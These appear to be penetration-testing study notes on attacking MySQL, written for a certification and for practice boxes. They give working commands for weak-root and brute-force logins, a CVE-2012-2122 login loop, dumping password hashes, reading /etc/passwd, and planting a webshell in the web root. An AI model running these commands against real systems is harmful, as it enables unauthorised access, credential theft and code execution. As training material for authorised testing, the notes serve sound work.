~/service-mysql

MySQL

CPTS Notes4 min read

TL;DR

MySQL. Relational database on TCP 3306. MariaDB is the common drop-in fork, with the same wire protocol and client. Authentication is a username and password, and root is the usual account.

First checks: a default or weak root login, then read the databases.

Commands

Inside the mysql client:

Command Does
SHOW DATABASES; List databases.
USE <db>; Select a database.
SHOW TABLES; List the tables.
SHOW COLUMNS FROM <table>; List a table’s columns.
SELECT * FROM <table>; Read a table.
SELECT user, authentication_string FROM mysql.user; Read the password hashes.
SHOW GRANTS; List your privileges (look for FILE).
SHOW VARIABLES LIKE 'secure_file_priv'; Show where MySQL allows file reads and writes.
SELECT LOAD_FILE('/etc/passwd'); Read a local file (needs FILE).
SELECT '<?php ...?>' INTO OUTFILE '/var/www/html/s.php'; Write a file (needs FILE).

Enumeration

Sweep.

# version, empty root password, users, and databases
sudo nmap -p3306 -sV --script mysql-info,mysql-empty-password,mysql-users,mysql-databases -oA scans/mysql $TARGET

mysql-empty-password tests root with no password. mysql-info reads the version and capabilities. These scripts throw false positives, so log in before you trust an empty or guessed password.

Connect.

mysql -h $TARGET -u root -p # prompt for the password
mysql -h $TARGET -u root -p'<password>' # inline password
mysql -h $TARGET -u root --skip-ssl # server forces TLS, common on MariaDB

An inline password takes no space after -p (-p'secret').

Then list the databases, pick one, and read its tables:

SHOW DATABASES; -- list databases
USE <db>; -- select a database
SHOW TABLES; -- list its tables

Dump a whole database at once:

mysqldump -h $TARGET -u root -p <db> # dump one database

Ignore the default schemas (information_schema, mysql, performance_schema, sys). The application database holds the data.

Common misconfigurations

  • root with no or a weak password.
  • root reachable from the network (bound to 0.0.0.0).
  • The FILE privilege granted, which enables LOAD_FILE and INTO OUTFILE.
  • Credentials reused from a web config such as wp-config.php.

Version exploits

Match the version from -sV first.

  • CVE-2012-2122 (MySQL and MariaDB auth bypass): MySQL 5.1 before 5.1.63, 5.5 before 5.5.24, 5.6 before 5.6.6, and MariaDB builds of the same age. A cast bug in the password check accepts a wrong password about once in 256 tries, on some builds only. Loop the login until it opens a session:
    for i in $(seq 1000); do mysql -h $TARGET -u root -pwrong 2>/dev/null && break; done # retry one wrong password
    Rare on current targets, so check the version.

Attack playbook

MySQL’s win is the data it holds and the FILE privilege.

  1. Log in. Try default credentials first: root with no password, then known defaults. creds (from pip install defaultcreds-cheat-sheet) prints them, and SecLists has a user:pass list for hydra -C. Then try weak or reused credentials.
    creds search mysql # known default logins
    hydra -C /usr/share/seclists/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt mysql://$TARGET # test user:pass pairs
    hydra -l root -P passwords.txt mysql://$TARGET # brute the root password
    -l takes one username.
  2. Search the databases. Read the tables for credentials and password hashes (CMS user tables are common). Crack the hashes and reuse them.
    SHOW DATABASES; -- list databases
    SELECT * FROM <table>; -- read a table
    SELECT user, authentication_string FROM mysql.user; -- read the MySQL password hashes
  3. Read and write files with FILE. Read a local file, or write a webshell to a web root. Both need the FILE privilege. Check it, then check secure_file_priv:
    SHOW GRANTS; -- look for FILE or ALL PRIVILEGES
    SHOW VARIABLES LIKE 'secure_file_priv'; -- where MySQL allows file reads and writes
    Empty allows any path. A directory limits reads and writes to that directory. NULL turns them off. INTO OUTFILE writes as the MySQL service account, which needs write access to the web root.
    SELECT LOAD_FILE('/etc/passwd'); -- read a local file
    SELECT '<?php ...?>' INTO OUTFILE '/var/www/html/s.php'; -- write a webshell to the web root
  4. UDF for command execution. With the FILE privilege and a writable plugin directory, load a malicious UDF library and run OS commands.
  5. Reuse credentials. Database passwords and cracked hashes often work on SSH and other services.

Practice boxes

Box Difficulty MySQL’s role
Sequel Starting Point MariaDB on 3306: log in as root with no password and read the database for the flag.

MySQL usually arrives through found credentials or SQL injection, so it is often a read-the-database step. Direct 3306 access with a weak root is the quick win.